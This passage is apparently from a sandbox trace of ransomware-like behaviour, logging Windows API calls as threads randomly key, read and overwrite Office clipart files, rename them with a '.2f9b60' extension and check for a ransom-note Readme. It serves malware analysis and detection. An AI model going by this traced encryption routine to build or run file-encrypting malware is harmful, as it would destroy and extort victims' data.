_Dest=0x1cda0578, _Format="%c%c" | out: _Dest="0e") returned 2 [0124.617] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="3c") returned 2 [0124.617] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="fe") returned 2 [0124.617] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="65") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="43") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="cb") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="11") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="c5") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="d6") returned 2 [0124.617] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="a3") returned 2 [0124.617] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="8c") returned 2 [0124.617] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="04") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="fb") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="6b") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="f0") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="a8") returned 2 [0124.617] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="67") returned 2 [0124.618] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="9b") returned 2 [0124.618] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="16") returned 2 [0124.618] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="88") returned 2 [0124.618] RtlInitAnsiString (in: DestinationString=0x1fe9faa8, SourceString="b02afac90e3cfe6543cb11c5d6a38c04fb6bf0a8679b1688" | out: DestinationString="b02afac90e3cfe6543cb11c5d6a38c04fb6bf0a8679b1688") [0124.618] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fe9fa78, SourceString="b02afac90e3cfe6543cb11c5d6a38c04fb6bf0a8679b1688", AllocateDestinationString=1 | out: DestinationString="b02afac90e3cfe6543cb11c5d6a38c04fb6bf0a8679b1688") returned 0x0 [0124.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863f10 [0124.618] wcscat (in: _Dest=0x2027b550, _Source="b02afac90e3c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b02afac90e3c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b02afac90e3c" [0124.618] wcscat (in: _Dest=0x2027b550, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b02afac90e3c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b02afac90e3c.2f9b60" [0124.618] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b02afac90e3c.2f9b60", NtPathName=0x1fe9fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b02afac90e3c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1073c0 [0124.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1073c0) returned 1 [0124.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46c90) returned 1 [0124.699] NtQueryInformationFile (in: FileHandle=0xfe4, IoStatusBlock=0x1fe9fab8, FileInformation=0x1fe9fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1fe9fab8, FileInformation=0x1fe9fac8) returned 0x0 [0124.699] NtSetInformationFile (FileHandle=0xfe4, IoStatusBlock=0x1fe9fab8, FileInformation=0x1fe9fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b550) returned 1 [0124.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863f10) returned 1 [0124.703] FlushFileBuffers (hFile=0xfe4) returned 1 [0124.708] CloseHandle (hObject=0xfe4) returned 1 [0124.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b550 [0124.710] wcscpy (in: _Dest=0x2027b550, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.710] wcscat (in: _Dest=0x2027b550, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b550) returned 1 [0124.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a260) returned 1 Thread: id = 1522 os_tid = 0x1a1c [0120.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0122.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF", dwFileAttributes=0x20) returned 1 [0122.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfb8 [0122.637] GetFileSizeEx (in: hFile=0xfb8, lpFileSize=0x1ff4f900 | out: lpFileSize=0x1ff4f900*=1444) returned 1 [0122.637] SetFilePointerEx (in: hFile=0xfb8, liDistanceToMove=0x5a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.637] ReadFile (in: hFile=0xfb8, lpBuffer=0x1ff4f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ff4f8c8, lpOverlapped=0x0 | out: lpBuffer=0x1ff4f880*, lpNumberOfBytesRead=0x1ff4f8c8*=0x4, lpOverlapped=0x0) returned 1 [0122.657] SetFilePointerEx (in: hFile=0xfb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e3e0 [0122.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e470 [0122.657] NtQuerySystemTime (in: CurrentTime=0x1ff4f7c0 | out: CurrentTime=0x1ff4f7c0*=132462177280366000) returned 0x0 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x13b16680 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x12857940 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x2869727e [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x364b6b2d [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x44fa61f3 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x59445ddb [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x67fa8442 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x494fef41 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x4f09e4f2 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x4d4e2996 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x6d7ba857 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x5d621f2b [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x1330dc40 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x13060380 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x699e8ce3 [0122.657] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x63ae3430 [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x76efb4e1 [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x3f33a4b8 [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x6dc57cd2 [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x56eca697 [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x2c2d86be [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x226de54 [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x44fc1472 [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x1081132d [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x5635fc2c [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x885c70c [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x15b7d133 [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x2869727e [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x6e324a0e [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x71ec6cc1 [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x5b21b1d6 [0122.658] RtlRandomEx (in: Seed=0x1ff4f7b0 | out: Seed=0x1ff4f7b0) returned 0x5afd2a37 [0122.667] ReadFile (in: hFile=0xfb8, lpBuffer=0x202cc520, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x1ff4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x202cc520*, lpNumberOfBytesRead=0x1ff4f7b0*=0x5a4, lpOverlapped=0x0) returned 1 [0122.667] SetFilePointerEx (in: hFile=0xfb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.667] WriteFile (in: hFile=0xfb8, lpBuffer=0x202c8910*, nNumberOfBytesToWrite=0x5a4, lpNumberOfBytesWritten=0x1ff4f7b4, lpOverlapped=0x0 | out: lpBuffer=0x202c8910*, lpNumberOfBytesWritten=0x1ff4f7b4*=0x5a4, lpOverlapped=0x0) returned 1 [0160.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1eb0 [0160.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ee0 [0160.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ee0) returned 1 [0160.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c8910) returned 1 [0160.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202cc520) returned 1 [0160.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0160.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059650) returned 1 [0160.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1ee0 [0160.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059650 [0160.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f10 [0160.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1f10 [0160.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1f10) returned 1 [0160.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1f10 [0160.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1f40 [0160.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1f70 [0160.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1f70) returned 1 [0160.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0160.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059650) returned 1 [0160.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce12e90 [0160.812] SetFilePointerEx (in: hFile=0xfb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.812] WriteFile (in: hFile=0xfb8, lpBuffer=0x1ce12e90*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1ff4f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1ce12e90*, lpNumberOfBytesWritten=0x1ff4f8d0*=0x10a, lpOverlapped=0x0) returned 1 [0165.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e560 [0165.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e560) returned 1 [0165.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e560 [0165.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e530 [0165.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e530) returned 1 [0165.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.486] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="aa") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="e5") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="04") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="5c") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="b6") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="de") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="7c") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="87") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="0a") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="7e") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="c9") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="66") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="19") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="e5") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="68") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="3d") returned 2 [0165.486] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="7a") returned 2 [0165.487] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="d3") returned 2 [0165.487] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="10") returned 2 [0165.487] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="4f") returned 2 [0165.487] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="24") returned 2 [0165.487] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="0e") returned 2 [0165.487] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="4e") returned 2 [0165.487] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="9e") returned 2 [0165.487] RtlInitAnsiString (in: DestinationString=0x1ff4f948, SourceString="aae5045cb6de7c870a7ec96619e5683d7ad3104f240e4e9e" | out: DestinationString="aae5045cb6de7c870a7ec96619e5683d7ad3104f240e4e9e") [0165.487] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ff4f918, SourceString="aae5045cb6de7c870a7ec96619e5683d7ad3104f240e4e9e", AllocateDestinationString=1 | out: DestinationString="aae5045cb6de7c870a7ec96619e5683d7ad3104f240e4e9e") returned 0x0 [0165.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce15060 [0165.487] RtlFreeAnsiString (AnsiString="a") [0165.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e560) returned 1 [0165.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12e90) returned 1 [0165.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1f10) returned 1 [0165.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1f40) returned 1 [0165.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ee0) returned 1 [0165.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1eb0) returned 1 [0165.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e3e0) returned 1 [0165.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e4a0) returned 1 [0165.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e4d0) returned 1 [0165.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30c70 [0165.490] wcscat (in: _Dest=0x42c30c70, _Source="aae5045cb6de" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aae5045cb6de") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aae5045cb6de" [0165.490] wcscat (in: _Dest=0x42c30c70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aae5045cb6de.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aae5045cb6de.2f9b60" [0165.490] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aae5045cb6de.2f9b60", NtPathName=0x1ff4f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\aae5045cb6de.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c36450 Thread: id = 1523 os_tid = 0x1a20 [0120.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0122.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF", dwFileAttributes=0x20) returned 1 [0122.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfbc [0122.627] GetFileSizeEx (in: hFile=0xfbc, lpFileSize=0x1fbdfc60 | out: lpFileSize=0x1fbdfc60*=7974) returned 1 [0122.627] SetFilePointerEx (in: hFile=0xfbc, liDistanceToMove=0x1f22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.627] ReadFile (in: hFile=0xfbc, lpBuffer=0x1fbdfbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fbdfc28, lpOverlapped=0x0 | out: lpBuffer=0x1fbdfbe0*, lpNumberOfBytesRead=0x1fbdfc28*=0x4, lpOverlapped=0x0) returned 1 [0122.640] SetFilePointerEx (in: hFile=0xfbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e350 [0122.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e3e0 [0122.640] NtQuerySystemTime (in: CurrentTime=0x1fbdfb20 | out: CurrentTime=0x1fbdfb20*=132462177280210000) returned 0x0 [0122.640] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x46a93dd8 [0122.640] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x3aaf06f7 [0122.640] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x135bb500 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x2727cc2b [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x644ab8e3 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x696df02e [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x9e3a280 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x2f7f2d0c [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x118e6076 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x2f39a960 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x7dc05455 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x4ce3fc36 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x2f39a960 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x2f9a3bc1 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x5dc76a6a [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x6f114c71 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x659f1de5 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x7a86ce09 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x53ac61ea [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x481d38f0 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x1658957f [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x11182d [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x431df6d7 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x139c722c [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x13f0e7d4 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x4c77a16b [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x4be5996a [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x43fd3775 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x1d86cac1 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x4ce3fc36 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x12b05200 [0122.641] RtlRandomEx (in: Seed=0x1fbdfb10 | out: Seed=0x1fbdfb10) returned 0x35cbb55 [0122.654] ReadFile (in: hFile=0xfbc, lpBuffer=0x202b5cc0, nNumberOfBytesToRead=0x1f26, lpNumberOfBytesRead=0x1fbdfb10, lpOverlapped=0x0 | out: lpBuffer=0x202b5cc0*, lpNumberOfBytesRead=0x1fbdfb10*=0x1f26, lpOverlapped=0x0) returned 1 [0122.674] SetFilePointerEx (in: hFile=0xfbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.674] WriteFile (in: hFile=0xfbc, lpBuffer=0x202e2d80*, nNumberOfBytesToWrite=0x1f26, lpNumberOfBytesWritten=0x1fbdfb14, lpOverlapped=0x0 | out: lpBuffer=0x202e2d80*, lpNumberOfBytesWritten=0x1fbdfb14*=0x1f26, lpOverlapped=0x0) returned 1 [0160.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1f70 [0160.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1fa0 [0160.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1fa0) returned 1 [0160.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202e2d80) returned 1 [0160.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b5cc0) returned 1 [0160.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504e90) returned 1 [0160.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059600) returned 1 [0160.814] 